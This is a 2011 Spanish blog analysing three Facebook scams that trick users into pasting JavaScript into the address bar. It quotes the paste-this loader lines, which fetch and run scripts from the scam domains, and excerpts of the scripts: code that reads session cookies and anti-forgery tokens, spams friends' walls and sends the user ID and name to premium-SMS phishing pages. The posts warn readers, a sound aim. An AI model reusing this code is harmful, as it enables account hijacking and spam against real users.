sábado, 21 de mayo de 2011

To get the Dislike button. [nueva estafa, mejorada]

Y hoy algo parecido, seguimos ante el mismo escenario,  se prolifera el siguiente mensaje por los muros de tus amigos:
"Facebook now has a dislike button! Click 'Enable Dislike Button' to turn on the new feature! Currently enabled by 2,921,784 Users!"


La única diferencia de hoy es que esta vez han sido más "profesionales" y me parece digno de ser contado.
Como siempre, activo no-script, clicko en "Enable Dislike Button" y me aparece lo siguiente: 

La típica página web que nos pide que copiemos el código javascript en la barra de direcciones para poder añadir el botón Dislike:
javascript:javascript:(a=(b=document).createElement('script')).src='//dislike.likex.me/button.js',b.body.appendChild(a);void(0)

Sorprendentemente cuando abro la dirección http://dislike.likex.me/button.js para ver cuál es el código fuente de button.js, me aparece lo siguiente:
¡Han "encriptado el código"!, ejecutan todo el código javascript con la siguiente función:
val(String.fromCharCode(...))
Don't panic! Tan fácil es encriptarlo como desencriptarlo, existen varias aplicaciones gratuitas para ello. Si queréis pegarle un ojo al código "desencriptado", lo he subido a un servidor, clickar aquí: http://serverf.260mb.com/js/dislike.js

Si analizamos el código podemos observar varias funciones y variables que nos hace sospechar que estamos otra vez ante una aplicación maliciosa:

var randomnumber=Math.floor(Math.random()*99999);
var user_id = readCookie("c_user");
var user_name = document.getElementById('navAccountName').innerHTML;
...
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var friends = new Array();
gf = new XMLHttpRequest();

function readCookie(name) {...}
...
Esta vez nos cogen datos hasta de nuestra cookie!
Como siempre, crea una tabla donde almacena a todos nuestros amigos y les escribe a todos en su muro el mensaje que he nombrado anteriormente, todo eso sin nuestra autorización.
Al final una hay alerta que nos redirecciona a una web para que ingresemos nuestro número de telefono:

alert("Account Verification Required To Enable The Dislike Button \n\ Please Press 'OK' To Verify Your Account.");
window.location = "http://dislike.likex.me/final.php?userid="+user_id+"&name="+user_name;

Si entramos en dicha web nos aparece lo siguiente:
Nos dan 6 maravillosas oportunidades de saber cuál es nuestro coeficiente intelectual, saber cuanto nos parecemos a Cristiano Ronaldo, o... mejor aún, ganar vale de Vueling, un iPhone 4, una pantalla plana 3d o un mini-portatil... ¿Quién no se va arriesgar a insertar su número de teléfono pudiendo hacernos con estos chachi-premios? Obviamente, yo no.
Aquí os dejo las irresistibles ofertas:

¿En qué se basa su forma de negocio? Bajo mi punto de vista, pura probabilidad, de las millones de visitas que van a tener, seguro que alguien caerá en la trampa, sino mirar esto:

Si analizamos el tráfico por la página web vemos que ya ha pasado gente de casi todas las partes del mundo, además siempre hay alguien conectado. Cuestión de tiempo que algún fan del chulo-playa de Cristiano Ronaldo ingrese su número para saber cuál es su compatibilidad con el futbolista....

Otra cosa a comentar que me ha parecido curiosa es la letra pequeña de todas las páginas donde nos pedían que diéramos nuestro número, cada una era de una empresa distinta, así que supongo que los que han escrito este código malicioso será porque cobrarán de las diversas empresas que ofrecen esos servicios dependiendo del número de teléfonos obtenidos o del número de visitas.


¿Conclusión? La de siempre, no fiarse de las aplicaciones externas a facebook!
Saludos!

lunes, 16 de mayo de 2011

Por fin el botón NO ME GUSTA en facebook ¿Cierto?

Obviamente, no es cierto.
Todos también habréis visto lo siguiente:

 Si clickamos en Instalar NO ME GUSTA vamos a: http://www.bottonnomegusta.com/?ref=nf y vemos lo siguiente:

 Copiamos el código y nos dan las siguientes instrucciones: Para instalar el boton tienes que borrar todas las letras donde dice http://www.facebook.com (barra de direcciones) y hacer click derecho, PEGAR, y una vez aparezcan unas letras pulsar ENTER

 Tenemos en el portapapeles almacenado el siguiente código (el que nos dicen que copiemos):
javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://bottonnomegusta.com/nomegusta.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();

Otra vez lo mismo que antes, una web maliciosa con un supuesto código malicioso y un número aleatorio como parámetro de entrada...

Completamente la misma estructura que la entrada anterior (http://bottonnomegusta.com/nomegusta.js):
var message = "Que bien, Facebook ha puesto por fin el boton NO ME GUSTA, si quieres tenerlo
                   tu tambien pulsa en el boton que sale aqui abajo, que dice Instalar NO ME GUSTA.";
var jsText = "http://www.bottonnomegusta.com";
var myText = "Instalar NO ME GUSTA";

var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
...
 
Y también con una dirección "para ganar dinero" (ya profundizaré en ello cuando acabe exámenes):
window.location = "http://www.bottonnomegusta.com/redirige_promo.php"
 
Así pues, lo mismo que la entrada anterior, se puede ver que en las dos primeras variables se 
almacenan nuestros dos tokens "post_form_id" y "fb_dtsg", y que en la tercera variable almacena 
parte de la información de nuestra cookie (otra vez mala pinta...)
 
 Otra vez estamos ante un ataque CSRF, posiblemente sean los mismos que antes.
Así que, no me canso de repetirlo: ¡No os fieis de este tipo de aplicaciones! 



----------------
modifico:[18-05-2011]
Acabo de ver otra versión, sale esto: 
"Como mola :) xD Face puso el boton NO ME GUSTA,
yo ya le doy a todo No me gusta jaja si quieres tenerlo tu tambien
pulsa en el texto que sale aqui abajo, que pone NO ME GUSTA.";
Y nos piden que copiemos este script:
javascript:(a=(b=document).createElement('script')).src='//thebutonsfacebook.com/theb.js?'+Math.random(),b.body.appendChild(a);void(0)

Si analizamos el fichero theb.js al final del código se ve esto otro:
alert("Termine el ultimo paso y le enviaremos a su telefono la
clave para activar el boton.");
window.location = "http://thebutonsfacebook.com/redirige_promo.php"
Aquí está la respuesta al por qué de todo este alboroto: Al final nos redireccionan a esta web para que ingresemos nuestro número de telefono y así poder cobrarnos unos 50€ al mes por enviarnos sms.
Y direis... ¿Y quién se fia de poner su número por internet? Pues muy poca gente, pero esa dirección habrá sido visitada por millones de personas y sólo con que un 0.1% haya ingresado su número ya tienen la paga del mes más que ganada!
Si entramos en la dirección de redirige_promo.php se puede ver esto: "Responsable del servicio: Datatalk Comunicaciones S.L" Una empresa de Madrid. Lo que no sé si habrá sido esta empresa la que ha creado la aplicación viral para facebook o si habrá sido una subcontrata que cobraba más por incentivos y quería ganar dinero de una forma rápida... Eso ya a la imaginación de cada uno.... =)



¿Quién ha visto hoy mi perfil de facebook?

Buenas a todos, utilizo este pequeño descanso de estudio para escribir esta mini entrada.
Acabo de ver que en Facebook hay mucha gente con esto:

Te puedes creer que 31 personas han visitado mi perfil hoy? Ademas me dice quien y la hora jejej, si quieres saberlo pulsa Escanear perfil aqui abajo y podras ver tu contador.

Para variar, movido por la curiosidad ;), me he puesto a investigar.
Aquí os explico mis conclusiones: (Hoy no lo hago tan extenso que hay que estudiar!)

Me ha aparecido en mi muro lo siguiente:

 Con la opción Escanear perfil" para que también podamos ver quién nos ha visitado hoy, obviamente me ha parecido muy extraño, por lo que he activado no-script y he pinchado a ver qué pasaba.
Al pinchar vas a esta página: http://www.lectorperf.es/?ref=nf y te sale lo siguiente:
Nos piden que clickemos en Copiar y que peguemos este código en nuestro navegador:
javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://lectorperf.es/perfil.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();

 Estamos ante un código javascript, en el que una variable de entrada es Math.random() (Un sospechoso número aleatorio como la anterior vez.).
En el código también se puede observar esta dirección: 'http://lectorperf.es/perfil.js (dirección donde se aloja el código javascript "malicioso"). Si observamos el código de perfil.js vemos lo siguiente:
var message = "Te puedes creer que 31 personas han visitado mi
perfil hoy? Ademas me dice quien y la hora jejej, si quieres
saberlo pulsa Escanear perfilaqui abajo y podras ver tu contador.";
var jsText = "http://www.lectorperf.es";
var myText = "Escanear perfil";
 
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
 
var friends = new Array();
gf = new XMLHttpRequest(); 
gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=
         user&viewer=" + uid + "&"+Math.random(),false); 
gf.send()
 ...
 
Se puede ver que en las dos primeras variables se almacenan nuestros dos tokens "post_form_id" y "fb_dtsg", y que en la tercera variable almacena parte de la información de nuestra cookie :S (Mala pinta...)
También se ve que crea una tabla llamada friends (var friends = new Array()).
 Y ya para qué hablar de la variable message...

Último fragmento importante:
...+ friends[i].uid +  "&user_message=" + message;
httpwp.open("POST", urlwp, true);
...

Conclusión: Volvemos a estar ante una aplicación de poco fiar. Y cómo no, las 31 visitas que dicen que hemos tenido son completamente falsas, tan sólo hace falta ver la variable message, siempre nos dicen lo mismo, es una frase predefinida que no cambia en ninguna parte del código. (modifico: a veces en vez de 31 visitas ponen otro número, pero sigue siendo lo mismo, una varible global del script, es decir, sigue siendo un engaño. modifico2: Ahora mismo lo han cambiado por 21 visitas: Te puedes creer que 21 personas han visitado mi perfil hoy?... Suponqo que irán cambiando de poco en poco, aunque me parece extraño que no hayan usado Math.random() para que las visitas parezcan más realistas.)
Lo único que hace este script es coger nuestros dos tokens "post_form_id" y "fb_dtsg" para poder realizar un ataque CSRF, en este caso el "ataque" consiste en escribir en el tablón de alguno de nuestros amigos que no nos perdamos la increíble aplicación que nos dice las visitas que hemos tenido hoy.

 Como siempre digo... ¡Cuidad vuestra seguridad con las aplicaciones sospechosas de facebook! Esta vez el fin de esta aplicación tan sólo ha sido crear spam (para forrar a unos cuantos... otro día hablaré de ello.) pero en otras ocasiones nos podrían tomar el control de la cuenta!

Así que, ¡No os fieis de este tipo de aplicaciones!